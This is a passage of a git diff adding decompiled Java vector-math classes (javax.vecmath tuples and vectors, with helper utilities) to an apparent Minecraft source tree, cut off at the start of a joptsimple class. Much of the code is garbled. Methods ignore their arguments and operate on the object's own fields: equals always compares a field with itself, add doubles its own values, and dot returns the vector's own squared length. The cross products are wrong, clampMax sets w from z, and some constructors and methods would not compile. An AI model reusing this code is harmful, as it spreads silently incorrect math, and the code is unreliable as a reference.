+    x = (s * x + x);
+    y = (s * y + y);
+    z = (s * z + z);
+    w = (s * w + w);
+  }
+  
+
+
+
+
+
+
+  public String toString()
+  {
+    return "(" + x + ", " + y + ", " + z + ", " + w + ")";
+  }
+  
+
+
+
+
+
+  public boolean equals(Tuple4f t1)
+  {
+    try
+    {
+      return (x == x) && (y == y) && (z == z) && (w == w);
+    }
+    catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+  public boolean equals(Object t1)
+  {
+    try
+    {
+      Tuple4f t2 = (Tuple4f)t1;
+      return (x == x) && (y == y) && (z == z) && (w == w);
+    }
+    catch (NullPointerException e2) {
+      return false; } catch (ClassCastException e1) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean epsilonEquals(Tuple4f t1, float epsilon)
+  {
+    float diff = x - x;
+    if (Float.isNaN(diff)) return false;
+    if ((diff < 0.0F ? -diff : diff) > epsilon) { return false;
+    }
+    diff = y - y;
+    if (Float.isNaN(diff)) return false;
+    if ((diff < 0.0F ? -diff : diff) > epsilon) { return false;
+    }
+    diff = z - z;
+    if (Float.isNaN(diff)) return false;
+    if ((diff < 0.0F ? -diff : diff) > epsilon) { return false;
+    }
+    diff = w - w;
+    if (Float.isNaN(diff)) return false;
+    if ((diff < 0.0F ? -diff : diff) > epsilon) { return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    bits = 31L * bits + VecMathUtil.floatToIntBits(x);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(y);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(z);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(w);
+    return (int)(bits ^ bits >> 32);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void clamp(float min, float max, Tuple4f t)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else if (z < min) {
+      z = min;
+    } else {
+      z = z;
+    }
+    
+    if (w > max) {
+      w = max;
+    } else if (w < min) {
+      w = min;
+    } else {
+      w = w;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void clampMin(float min, Tuple4f t)
+  {
+    if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+    
+    if (z < min) {
+      z = min;
+    } else {
+      z = z;
+    }
+    
+    if (w < min) {
+      w = min;
+    } else {
+      w = w;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void clampMax(float max, Tuple4f t)
+  {
+    if (x > max) {
+      x = max;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else {
+      y = y;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else {
+      z = z;
+    }
+    
+    if (w > max) {
+      w = max;
+    } else {
+      w = z;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void absolute(Tuple4f t)
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+    z = Math.abs(z);
+    w = Math.abs(w);
+  }
+  
+
+
+
+
+
+
+  public final void clamp(float min, float max)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else if (z < min) {
+      z = min;
+    }
+    
+    if (w > max) {
+      w = max;
+    } else if (w < min) {
+      w = min;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void clampMin(float min)
+  {
+    if (x < min) x = min;
+    if (y < min) y = min;
+    if (z < min) z = min;
+    if (w < min) { w = min;
+    }
+  }
+  
+
+
+
+
+
+  public final void clampMax(float max)
+  {
+    if (x > max) x = max;
+    if (y > max) y = max;
+    if (z > max) z = max;
+    if (w > max) { w = max;
+    }
+  }
+  
+
+
+
+
+  public final void absolute()
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+    z = Math.abs(z);
+    w = Math.abs(w);
+  }
+  
+
+
+
+
+
+
+
+
+  public void interpolate(Tuple4f t1, Tuple4f t2, float alpha)
+  {
+    x = ((1.0F - alpha) * x + alpha * x);
+    y = ((1.0F - alpha) * y + alpha * y);
+    z = ((1.0F - alpha) * z + alpha * z);
+    w = ((1.0F - alpha) * w + alpha * w);
+  }
+  
+
+
+
+
+
+
+
+
+  public void interpolate(Tuple4f t1, float alpha)
+  {
+    x = ((1.0F - alpha) * x + alpha * x);
+    y = ((1.0F - alpha) * y + alpha * y);
+    z = ((1.0F - alpha) * z + alpha * z);
+    w = ((1.0F - alpha) * w + alpha * w);
+  }
+  
+
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+  }
+  
+
+
+
+
+
+
+  public final float getX()
+  {
+    return x;
+  }
+  
+
+
+
+
+
+
+
+  public final void setX(float x)
+  {
+    this.x = x;
+  }
+  
+
+
+
+
+
+
+
+  public final float getY()
+  {
+    return y;
+  }
+  
+
+
+
+
+
+
+
+  public final void setY(float y)
+  {
+    this.y = y;
+  }
+  
+
+
+
+
+
+
+  public final float getZ()
+  {
+    return z;
+  }
+  
+
+
+
+
+
+
+
+  public final void setZ(float z)
+  {
+    this.z = z;
+  }
+  
+
+
+
+
+
+
+
+  public final float getW()
+  {
+    return w;
+  }
+  
+
+
+
+
+
+
+
+  public final void setW(float w)
+  {
+    this.w = w;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Tuple4i.java b/src/minecraft/javax/vecmath/Tuple4i.java
new file mode 100644
index 0000000..0020c35
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Tuple4i.java
@@ -0,0 +1,679 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Tuple4i
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = 8064614250942616720L;
+  public int x;
+  public int y;
+  public int z;
+  public int w;
+  
+  public Tuple4i(int x, int y, int z, int w)
+  {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+    this.w = w;
+  }
+  
+
+
+
+
+  public Tuple4i(int[] t)
+  {
+    x = t[0];
+    y = t[1];
+    z = t[2];
+    w = t[3];
+  }
+  
+
+
+
+
+
+  public Tuple4i(Tuple4i t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = w;
+  }
+  
+
+
+
+  public Tuple4i()
+  {
+    x = 0;
+    y = 0;
+    z = 0;
+    w = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(int x, int y, int z, int w)
+  {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+    this.w = w;
+  }
+  
+
+
+
+
+
+  public final void set(int[] t)
+  {
+    x = t[0];
+    y = t[1];
+    z = t[2];
+    w = t[3];
+  }
+  
+
+
+
+
+  public final void set(Tuple4i t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = w;
+  }
+  
+
+
+
+
+  public final void get(int[] t)
+  {
+    t[0] = x;
+    t[1] = y;
+    t[2] = z;
+    t[3] = w;
+  }
+  
+
+
+
+
+  public final void get(Tuple4i t)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = w;
+  }
+  
+
+
+
+
+
+  public final void add(Tuple4i t1, Tuple4i t2)
+  {
+    x += x;
+    y += y;
+    z += z;
+    w += w;
+  }
+  
+
+
+
+
+  public final void add(Tuple4i t1)
+  {
+    x += x;
+    y += y;
+    z += z;
+    w += w;
+  }
+  
+
+
+
+
+
+
+  public final void sub(Tuple4i t1, Tuple4i t2)
+  {
+    x -= x;
+    y -= y;
+    z -= z;
+    w -= w;
+  }
+  
+
+
+
+
+
+  public final void sub(Tuple4i t1)
+  {
+    x -= x;
+    y -= y;
+    z -= z;
+    w -= w;
+  }
+  
+
+
+
+
+  public final void negate(Tuple4i t1)
+  {
+    x = (-x);
+    y = (-y);
+    z = (-z);
+    w = (-w);
+  }
+  
+
+
+
+  public final void negate()
+  {
+    x = (-x);
+    y = (-y);
+    z = (-z);
+    w = (-w);
+  }
+  
+
+
+
+
+
+
+  public final void scale(int s, Tuple4i t1)
+  {
+    x = (s * x);
+    y = (s * y);
+    z = (s * z);
+    w = (s * w);
+  }
+  
+
+
+
+
+
+  public final void scale(int s)
+  {
+    x *= s;
+    y *= s;
+    z *= s;
+    w *= s;
+  }
+  
+
+
+
+
+
+
+
+  public final void scaleAdd(int s, Tuple4i t1, Tuple4i t2)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+    z = (s * z + z);
+    w = (s * w + w);
+  }
+  
+
+
+
+
+
+
+  public final void scaleAdd(int s, Tuple4i t1)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+    z = (s * z + z);
+    w = (s * w + w);
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    return "(" + x + ", " + y + ", " + z + ", " + w + ")";
+  }
+  
+
+
+
+
+
+
+  public boolean equals(Object t1)
+  {
+    try
+    {
+      Tuple4i t2 = (Tuple4i)t1;
+      return (x == x) && (y == y) && (z == z) && (w == w);
+    }
+    catch (NullPointerException e2)
+    {
+      return false;
+    }
+    catch (ClassCastException e1) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    bits = 31L * bits + x;
+    bits = 31L * bits + y;
+    bits = 31L * bits + z;
+    bits = 31L * bits + w;
+    return (int)(bits ^ bits >> 32);
+  }
+  
+
+
+
+
+
+
+
+  public final void clamp(int min, int max, Tuple4i t)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else if (z < min) {
+      z = min;
+    } else {
+      z = z;
+    }
+    
+    if (w > max) {
+      w = max;
+    } else if (w < min) {
+      w = min;
+    } else {
+      w = w;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void clampMin(int min, Tuple4i t)
+  {
+    if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+    
+    if (z < min) {
+      z = min;
+    } else {
+      z = z;
+    }
+    
+    if (w < min) {
+      w = min;
+    } else {
+      w = w;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void clampMax(int max, Tuple4i t)
+  {
+    if (x > max) {
+      x = max;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else {
+      y = y;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else {
+      z = z;
+    }
+    
+    if (w > max) {
+      w = max;
+    } else {
+      w = z;
+    }
+  }
+  
+
+
+
+
+
+  public final void absolute(Tuple4i t)
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+    z = Math.abs(z);
+    w = Math.abs(w);
+  }
+  
+
+
+
+
+
+  public final void clamp(int min, int max)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else if (z < min) {
+      z = min;
+    }
+    
+    if (w > max) {
+      w = max;
+    } else if (w < min) {
+      w = min;
+    }
+  }
+  
+
+
+
+
+  public final void clampMin(int min)
+  {
+    if (x < min) {
+      x = min;
+    }
+    if (y < min) {
+      y = min;
+    }
+    if (z < min) {
+      z = min;
+    }
+    if (w < min) {
+      w = min;
+    }
+  }
+  
+
+
+
+  public final void clampMax(int max)
+  {
+    if (x > max) {
+      x = max;
+    }
+    if (y > max) {
+      y = max;
+    }
+    if (z > max) {
+      z = max;
+    }
+    if (w > max) {
+      w = max;
+    }
+  }
+  
+
+
+  public final void absolute()
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+    z = Math.abs(z);
+    w = Math.abs(w);
+  }
+  
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final int getX()
+  {
+    return x;
+  }
+  
+
+
+
+
+
+
+
+  public final void setX(int x)
+  {
+    this.x = x;
+  }
+  
+
+
+
+
+
+
+
+  public final int getY()
+  {
+    return y;
+  }
+  
+
+
+
+
+
+
+
+  public final void setY(int y)
+  {
+    this.y = y;
+  }
+  
+
+
+
+
+
+
+  public final int getZ()
+  {
+    return z;
+  }
+  
+
+
+
+
+
+
+
+  public final void setZ(int z)
+  {
+    this.z = z;
+  }
+  
+
+
+
+
+
+  public final int getW()
+  {
+    return w;
+  }
+  
+
+
+
+
+
+
+
+  public final void setW(int w)
+  {
+    this.w = w;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/VecMathI18N.java b/src/minecraft/javax/vecmath/VecMathI18N.java
new file mode 100644
index 0000000..e3fd48f
--- /dev/null
+++ b/src/minecraft/javax/vecmath/VecMathI18N.java
@@ -0,0 +1,50 @@
+package javax.vecmath;
+
+import java.io.PrintStream;
+import java.util.MissingResourceException;
+import java.util.ResourceBundle;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class VecMathI18N
+{
+  VecMathI18N() {}
+  
+  static String getString(String key)
+  {
+    String s;
+    try
+    {
+      s = ResourceBundle.getBundle("javax.vecmath.ExceptionStrings").getString(key);
+    } catch (MissingResourceException e) {
+      String s;
+      System.err.println("VecMathI18N: Error looking up: " + key);
+      s = key;
+    }
+    return s;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/VecMathUtil.java b/src/minecraft/javax/vecmath/VecMathUtil.java
new file mode 100644
index 0000000..df2dc43
--- /dev/null
+++ b/src/minecraft/javax/vecmath/VecMathUtil.java
@@ -0,0 +1,97 @@
+package javax.vecmath;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class VecMathUtil
+{
+  static int floatToIntBits(float f)
+  {
+    if (f == 0.0F) {
+      return 0;
+    }
+    
+    return Float.floatToIntBits(f);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static long doubleToLongBits(double d)
+  {
+    if (d == 0.0D) {
+      return 0L;
+    }
+    
+    return Double.doubleToLongBits(d);
+  }
+  
+  private VecMathUtil() {}
+}
diff --git a/src/minecraft/javax/vecmath/Vector2d.java b/src/minecraft/javax/vecmath/Vector2d.java
new file mode 100644
index 0000000..93ad0ff
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Vector2d.java
@@ -0,0 +1,184 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Vector2d
+  extends Tuple2d
+  implements Serializable
+{
+  static final long serialVersionUID = 8572646365302599857L;
+  
+  public Vector2d(double x, double y)
+  {
+    super(x, y);
+  }
+  
+
+
+
+
+
+  public Vector2d(double[] v)
+  {
+    super(v);
+  }
+  
+
+
+
+
+
+  public Vector2d(Vector2d v1)
+  {
+    super(v1);
+  }
+  
+
+
+
+
+
+  public Vector2d(Vector2f v1)
+  {
+    super(v1);
+  }
+  
+
+
+
+
+
+  public Vector2d(Tuple2d t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+  public Vector2d(Tuple2f t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+  public Vector2d() {}
+  
+
+
+
+
+
+
+  public final double dot(Vector2d v1)
+  {
+    return x * x + y * y;
+  }
+  
+
+
+
+
+
+  public final double length()
+  {
+    return Math.sqrt(x * x + y * y);
+  }
+  
+
+
+
+
+  public final double lengthSquared()
+  {
+    return x * x + y * y;
+  }
+  
+
+
+
+
+
+
+  public final void normalize(Vector2d v1)
+  {
+    double norm = 1.0D / Math.sqrt(x * x + y * y);
+    x *= norm;
+    y *= norm;
+  }
+  
+
+
+
+
+
+
+  public final void normalize()
+  {
+    double norm = 1.0D / Math.sqrt(x * x + y * y);
+    x *= norm;
+    y *= norm;
+  }
+  
+
+
+
+
+
+
+
+  public final double angle(Vector2d v1)
+  {
+    double vDot = dot(v1) / (length() * v1.length());
+    if (vDot < -1.0D) vDot = -1.0D;
+    if (vDot > 1.0D) vDot = 1.0D;
+    return Math.acos(vDot);
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Vector2f.java b/src/minecraft/javax/vecmath/Vector2f.java
new file mode 100644
index 0000000..ca0ee12
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Vector2f.java
@@ -0,0 +1,185 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Vector2f
+  extends Tuple2f
+  implements Serializable
+{
+  static final long serialVersionUID = -2168194326883512320L;
+  
+  public Vector2f(float x, float y)
+  {
+    super(x, y);
+  }
+  
+
+
+
+
+
+  public Vector2f(float[] v)
+  {
+    super(v);
+  }
+  
+
+
+
+
+
+  public Vector2f(Vector2f v1)
+  {
+    super(v1);
+  }
+  
+
+
+
+
+
+  public Vector2f(Vector2d v1)
+  {
+    super(v1);
+  }
+  
+
+
+
+
+
+  public Vector2f(Tuple2f t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+  public Vector2f(Tuple2d t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+
+  public Vector2f() {}
+  
+
+
+
+
+
+
+  public final float dot(Vector2f v1)
+  {
+    return x * x + y * y;
+  }
+  
+
+
+
+
+
+  public final float length()
+  {
+    return (float)Math.sqrt(x * x + y * y);
+  }
+  
+
+
+
+
+  public final float lengthSquared()
+  {
+    return x * x + y * y;
+  }
+  
+
+
+
+
+
+
+  public final void normalize(Vector2f v1)
+  {
+    float norm = (float)(1.0D / Math.sqrt(x * x + y * y));
+    x *= norm;
+    y *= norm;
+  }
+  
+
+
+
+
+
+
+  public final void normalize()
+  {
+    float norm = (float)(1.0D / Math.sqrt(x * x + y * y));
+    x *= norm;
+    y *= norm;
+  }
+  
+
+
+
+
+
+
+
+  public final float angle(Vector2f v1)
+  {
+    double vDot = dot(v1) / (length() * v1.length());
+    if (vDot < -1.0D) vDot = -1.0D;
+    if (vDot > 1.0D) vDot = 1.0D;
+    return (float)Math.acos(vDot);
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Vector3d.java b/src/minecraft/javax/vecmath/Vector3d.java
new file mode 100644
index 0000000..451ea6c
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Vector3d.java
@@ -0,0 +1,208 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Vector3d
+  extends Tuple3d
+  implements Serializable
+{
+  static final long serialVersionUID = 3761969948420550442L;
+  
+  public Vector3d(double x, double y, double z)
+  {
+    super(x, y, z);
+  }
+  
+
+
+
+
+
+  public Vector3d(double[] v)
+  {
+    super(v);
+  }
+  
+
+
+
+
+
+  public Vector3d(Vector3d v1)
+  {
+    super(v1);
+  }
+  
+
+
+
+
+
+  public Vector3d(Vector3f v1)
+  {
+    super(v1);
+  }
+  
+
+
+
+
+
+  public Vector3d(Tuple3f t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+  public Vector3d(Tuple3d t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+
+
+  public Vector3d() {}
+  
+
+
+
+
+
+
+
+  public final void cross(Vector3d v1, Vector3d v2)
+  {
+    double x = y * z - z * y;
+    double y = x * z - z * x;
+    z = (x * y - y * x);
+    this.x = x;
+    this.y = y;
+  }
+  
+
+
+
+
+
+
+
+  public final void normalize(Vector3d v1)
+  {
+    double norm = 1.0D / Math.sqrt(x * x + y * y + z * z);
+    x *= norm;
+    y *= norm;
+    z *= norm;
+  }
+  
+
+
+
+
+
+
+  public final void normalize()
+  {
+    double norm = 1.0D / Math.sqrt(x * x + y * y + z * z);
+    x *= norm;
+    y *= norm;
+    z *= norm;
+  }
+  
+
+
+
+
+
+
+  public final double dot(Vector3d v1)
+  {
+    return x * x + y * y + z * z;
+  }
+  
+
+
+
+
+
+  public final double lengthSquared()
+  {
+    return x * x + y * y + z * z;
+  }
+  
+
+
+
+
+
+  public final double length()
+  {
+    return Math.sqrt(x * x + y * y + z * z);
+  }
+  
+
+
+
+
+
+
+
+  public final double angle(Vector3d v1)
+  {
+    double vDot = dot(v1) / (length() * v1.length());
+    if (vDot < -1.0D) vDot = -1.0D;
+    if (vDot > 1.0D) vDot = 1.0D;
+    return Math.acos(vDot);
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Vector3f.java b/src/minecraft/javax/vecmath/Vector3f.java
new file mode 100644
index 0000000..46372a1
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Vector3f.java
@@ -0,0 +1,204 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Vector3f
+  extends Tuple3f
+  implements Serializable
+{
+  static final long serialVersionUID = -7031930069184524614L;
+  
+  public Vector3f(float x, float y, float z)
+  {
+    super(x, y, z);
+  }
+  
+
+
+
+
+
+  public Vector3f(float[] v)
+  {
+    super(v);
+  }
+  
+
+
+
+
+
+  public Vector3f(Vector3f v1)
+  {
+    super(v1);
+  }
+  
+
+
+
+
+
+  public Vector3f(Vector3d v1)
+  {
+    super(v1);
+  }
+  
+
+
+
+
+  public Vector3f(Tuple3f t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+  public Vector3f(Tuple3d t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+  public Vector3f() {}
+  
+
+
+
+
+
+
+  public final float lengthSquared()
+  {
+    return x * x + y * y + z * z;
+  }
+  
+
+
+
+
+
+  public final float length()
+  {
+    return (float)Math.sqrt(x * x + y * y + z * z);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void cross(Vector3f v1, Vector3f v2)
+  {
+    float x = y * z - z * y;
+    float y = x * z - z * x;
+    z = (x * y - y * x);
+    this.x = x;
+    this.y = y;
+  }
+  
+
+
+
+
+
+  public final float dot(Vector3f v1)
+  {
+    return x * x + y * y + z * z;
+  }
+  
+
+
+
+
+
+
+  public final void normalize(Vector3f v1)
+  {
+    float norm = (float)(1.0D / Math.sqrt(x * x + y * y + z * z));
+    x *= norm;
+    y *= norm;
+    z *= norm;
+  }
+  
+
+
+
+
+
+
+  public final void normalize()
+  {
+    float norm = (float)(1.0D / Math.sqrt(x * x + y * y + z * z));
+    x *= norm;
+    y *= norm;
+    z *= norm;
+  }
+  
+
+
+
+
+
+
+
+  public final float angle(Vector3f v1)
+  {
+    double vDot = dot(v1) / (length() * v1.length());
+    if (vDot < -1.0D) vDot = -1.0D;
+    if (vDot > 1.0D) vDot = 1.0D;
+    return (float)Math.acos(vDot);
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Vector4d.java b/src/minecraft/javax/vecmath/Vector4d.java
new file mode 100644
index 0000000..d7b2e27
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Vector4d.java
@@ -0,0 +1,223 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Vector4d
+  extends Tuple4d
+  implements Serializable
+{
+  static final long serialVersionUID = 3938123424117448700L;
+  
+  public Vector4d(double x, double y, double z, double w)
+  {
+    super(x, y, z, w);
+  }
+  
+
+
+
+
+
+  public Vector4d(double[] v)
+  {
+    super(v);
+  }
+  
+
+
+
+
+  public Vector4d(Vector4d v1)
+  {
+    super(v1);
+  }
+  
+
+
+
+
+  public Vector4d(Vector4f v1)
+  {
+    super(v1);
+  }
+  
+
+
+
+
+  public Vector4d(Tuple4f t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+  public Vector4d(Tuple4d t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Vector4d(Tuple3d t1)
+  {
+    super(x, y, z, 0.0D);
+  }
+  
+
+
+
+
+
+
+
+
+  public Vector4d() {}
+  
+
+
+
+
+
+
+
+  public final void set(Tuple3d t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = 0.0D;
+  }
+  
+
+
+
+
+
+  public final double length()
+  {
+    return Math.sqrt(x * x + y * y + z * z + w * w);
+  }
+  
+
+
+
+
+
+
+  public final double lengthSquared()
+  {
+    return x * x + y * y + z * z + w * w;
+  }
+  
+
+
+
+
+
+
+
+  public final double dot(Vector4d v1)
+  {
+    return x * x + y * y + z * z + w * w;
+  }
+  
+
+
+
+
+
+
+
+  public final void normalize(Vector4d v1)
+  {
+    double norm = 1.0D / Math.sqrt(x * x + y * y + z * z + w * w);
+    x *= norm;
+    y *= norm;
+    z *= norm;
+    w *= norm;
+  }
+  
+
+
+
+
+
+
+  public final void normalize()
+  {
+    double norm = 1.0D / Math.sqrt(x * x + y * y + z * z + w * w);
+    
+    x *= norm;
+    y *= norm;
+    z *= norm;
+    w *= norm;
+  }
+  
+
+
+
+
+
+
+
+
+  public final double angle(Vector4d v1)
+  {
+    double vDot = dot(v1) / (length() * v1.length());
+    if (vDot < -1.0D) vDot = -1.0D;
+    if (vDot > 1.0D) vDot = 1.0D;
+    return Math.acos(vDot);
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Vector4f.java b/src/minecraft/javax/vecmath/Vector4f.java
new file mode 100644
index 0000000..721e843
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Vector4f.java
@@ -0,0 +1,227 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Vector4f
+  extends Tuple4f
+  implements Serializable
+{
+  static final long serialVersionUID = 8749319902347760659L;
+  
+  public Vector4f(float x, float y, float z, float w)
+  {
+    super(x, y, z, w);
+  }
+  
+
+
+
+
+
+  public Vector4f(float[] v)
+  {
+    super(v);
+  }
+  
+
+
+
+
+
+  public Vector4f(Vector4f v1)
+  {
+    super(v1);
+  }
+  
+
+
+
+
+
+  public Vector4f(Vector4d v1)
+  {
+    super(v1);
+  }
+  
+
+
+
+
+
+  public Vector4f(Tuple4f t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+  public Vector4f(Tuple4d t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Vector4f(Tuple3f t1)
+  {
+    super(x, y, z, 0.0F);
+  }
+  
+
+
+
+
+
+
+
+
+  public Vector4f() {}
+  
+
+
+
+
+
+
+
+  public final void set(Tuple3f t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = 0.0F;
+  }
+  
+
+
+
+
+
+
+  public final float length()
+  {
+    return (float)Math.sqrt(x * x + y * y + z * z + w * w);
+  }
+  
+
+
+
+
+
+  public final float lengthSquared()
+  {
+    return x * x + y * y + z * z + w * w;
+  }
+  
+
+
+
+
+
+
+  public final float dot(Vector4f v1)
+  {
+    return x * x + y * y + z * z + w * w;
+  }
+  
+
+
+
+
+
+
+
+  public final void normalize(Vector4f v1)
+  {
+    float norm = (float)(1.0D / Math.sqrt(x * x + y * y + z * z + w * w));
+    
+    x *= norm;
+    y *= norm;
+    z *= norm;
+    w *= norm;
+  }
+  
+
+
+
+
+
+
+  public final void normalize()
+  {
+    float norm = (float)(1.0D / Math.sqrt(x * x + y * y + z * z + w * w));
+    
+    x *= norm;
+    y *= norm;
+    z *= norm;
+    w *= norm;
+  }
+  
+
+
+
+
+
+
+
+
+  public final float angle(Vector4f v1)
+  {
+    double vDot = dot(v1) / (length() * v1.length());
+    if (vDot < -1.0D) vDot = -1.0D;
+    if (vDot > 1.0D) vDot = 1.0D;
+    return (float)Math.acos(vDot);
+  }
+}
diff --git a/src/minecraft/joptsimple/AbstractOptionSpec.java b/src/minecraft/joptsimple/AbstractOptionSpec.java
new file mode 100644
index 0000000..f5b9338
--- /dev/null
+++ b/src/minecraft/joptsimple/AbstractOptionSpec.java
@@ -0,0 +1,153 @@
+package joptsimple;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.List;
+import joptsimple.internal.Reflection;
+import joptsimple.internal.ReflectionException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class AbstractOptionSpec<V>
+  implements OptionSpec<V>, OptionDescriptor
+{
+  private final List<String> options = new ArrayList();
+  private final String description;
+  private boolean forHelp;
+  
+  protected AbstractOptionSpec(String option) {
+    this(Collections.singletonList(option), "");
+  }
+  
